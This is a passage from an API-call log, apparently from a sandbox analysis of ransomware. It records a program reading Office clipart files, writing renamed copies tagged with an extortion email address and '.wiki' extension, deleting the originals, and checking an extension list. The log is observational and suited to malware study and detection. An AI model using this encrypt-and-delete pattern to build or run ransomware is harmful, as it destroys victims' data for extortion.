office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.299] GetLastError () returned 0x0 [0186.299] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x984, lpOverlapped=0x0) returned 1 [0186.301] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x990, lpOverlapped=0x0) returned 1 [0186.302] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.302] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.302] SetEndOfFile (hFile=0x1f4) returned 1 [0186.302] CloseHandle (hObject=0x1f4) returned 1 [0186.302] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.302] SetEndOfFile (hFile=0x1d0) returned 1 [0186.303] CloseHandle (hObject=0x1d0) returned 1 [0186.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.303] lstrlenW (lpString=".doc") returned 4 [0186.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.303] lstrlenW (lpString=".docx") returned 5 [0186.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.303] lstrlenW (lpString=".pdf") returned 4 [0186.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.303] lstrlenW (lpString=".xls") returned 4 [0186.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.303] lstrlenW (lpString=".xlsx") returned 5 [0186.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.304] lstrlenW (lpString=".ppt") returned 4 [0186.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString=".zip") returned 4 [0186.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.304] lstrlenW (lpString=".rar") returned 4 [0186.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString=".bz2") returned 4 [0186.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString=".7z") returned 3 [0186.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString=".dbf") returned 4 [0186.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString=".1cd") returned 4 [0186.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString=".jpg") returned 4 [0186.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.304] lstrlenW (lpString=".doc") returned 4 [0186.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString=".docx") returned 5 [0186.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.304] lstrlenW (lpString=".pdf") returned 4 [0186.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.304] lstrlenW (lpString=".xls") returned 4 [0186.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.304] lstrlenW (lpString=".xlsx") returned 5 [0186.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.305] lstrlenW (lpString=".ppt") returned 4 [0186.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.305] lstrlenW (lpString=".zip") returned 4 [0186.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.305] lstrlenW (lpString=".rar") returned 4 [0186.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.305] lstrlenW (lpString=".bz2") returned 4 [0186.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.305] lstrlenW (lpString=".7z") returned 3 [0186.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.305] lstrlenW (lpString=".dbf") returned 4 [0186.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.305] lstrlenW (lpString=".1cd") returned 4 [0186.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0186.305] lstrlenW (lpString=".jpg") returned 4 [0186.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.305] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.305] lstrlenW (lpString="BS01080_.WMF") returned 12 [0186.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.306] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2732) returned 1 [0186.306] CloseHandle (hObject=0x1d0) returned 1 [0186.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0186.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.306] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.306] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.306] GetLastError () returned 0x0 [0186.306] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xaac, lpOverlapped=0x0) returned 1 [0186.308] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0186.309] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.309] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.309] SetEndOfFile (hFile=0x1f4) returned 1 [0186.309] CloseHandle (hObject=0x1f4) returned 1 [0186.309] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.309] SetEndOfFile (hFile=0x1d0) returned 1 [0186.310] CloseHandle (hObject=0x1d0) returned 1 [0186.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.311] lstrlenW (lpString=".doc") returned 4 [0186.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString=".docx") returned 5 [0186.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.311] lstrlenW (lpString=".pdf") returned 4 [0186.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString=".xls") returned 4 [0186.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.311] lstrlenW (lpString=".xlsx") returned 5 [0186.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.311] lstrlenW (lpString=".ppt") returned 4 [0186.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.311] lstrlenW (lpString=".zip") returned 4 [0186.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.311] lstrlenW (lpString=".rar") returned 4 [0186.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString=".bz2") returned 4 [0186.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString=".7z") returned 3 [0186.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.311] lstrlenW (lpString=".dbf") returned 4 [0186.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.311] lstrlenW (lpString=".1cd") returned 4 [0186.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString=".jpg") returned 4 [0186.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString=".doc") returned 4 [0186.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString=".docx") returned 5 [0186.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.312] lstrlenW (lpString=".pdf") returned 4 [0186.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString=".xls") returned 4 [0186.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.312] lstrlenW (lpString=".xlsx") returned 5 [0186.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.312] lstrlenW (lpString=".ppt") returned 4 [0186.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString=".zip") returned 4 [0186.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.312] lstrlenW (lpString=".rar") returned 4 [0186.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString=".bz2") returned 4 [0186.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString=".7z") returned 3 [0186.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString=".dbf") returned 4 [0186.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.312] lstrlenW (lpString=".1cd") returned 4 [0186.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 63 [0186.313] lstrlenW (lpString=".jpg") returned 4 [0186.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.313] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.313] lstrlenW (lpString="BS01603_.WMF") returned 12 [0186.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.313] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7176) returned 1 [0186.313] CloseHandle (hObject=0x1d0) returned 1 [0186.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20 [0186.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.313] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.314] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.314] GetLastError () returned 0x0 [0186.314] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0186.316] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0186.317] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.317] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.317] SetEndOfFile (hFile=0x1f4) returned 1 [0186.317] CloseHandle (hObject=0x1f4) returned 1 [0186.317] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.317] SetEndOfFile (hFile=0x1d0) returned 1 [0186.318] CloseHandle (hObject=0x1d0) returned 1 [0186.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0186.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.318] lstrlenW (lpString=".doc") returned 4 [0186.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.318] lstrlenW (lpString=".docx") returned 5 [0186.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.318] lstrlenW (lpString=".pdf") returned 4 [0186.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.318] lstrlenW (lpString=".xls") returned 4 [0186.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.318] lstrlenW (lpString=".xlsx") returned 5 [0186.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.318] lstrlenW (lpString=".ppt") returned 4 [0186.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString=".zip") returned 4 [0186.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.319] lstrlenW (lpString=".rar") returned 4 [0186.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString=".bz2") returned 4 [0186.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString=".7z") returned 3 [0186.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString=".dbf") returned 4 [0186.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString=".1cd") returned 4 [0186.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString=".jpg") returned 4 [0186.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.319] lstrlenW (lpString=".doc") returned 4 [0186.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString=".docx") returned 5 [0186.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.319] lstrlenW (lpString=".pdf") returned 4 [0186.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.319] lstrlenW (lpString=".xls") returned 4 [0186.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.319] lstrlenW (lpString=".xlsx") returned 5 [0186.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.319] lstrlenW (lpString=".ppt") returned 4 [0186.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.320] lstrlenW (lpString=".zip") returned 4 [0186.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.320] lstrlenW (lpString=".rar") returned 4 [0186.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.320] lstrlenW (lpString=".bz2") returned 4 [0186.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.320] lstrlenW (lpString=".7z") returned 3 [0186.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.320] lstrlenW (lpString=".dbf") returned 4 [0186.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.320] lstrlenW (lpString=".1cd") returned 4 [0186.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0186.320] lstrlenW (lpString=".jpg") returned 4 [0186.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.320] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.320] lstrlenW (lpString="BS01634_.WMF") returned 12 [0186.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.321] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3494) returned 1 [0186.321] CloseHandle (hObject=0x1d0) returned 1 [0186.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0186.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.321] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.321] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.321] GetLastError () returned 0x0 [0186.493] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xda6, lpOverlapped=0x0) returned 1 [0186.495] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, 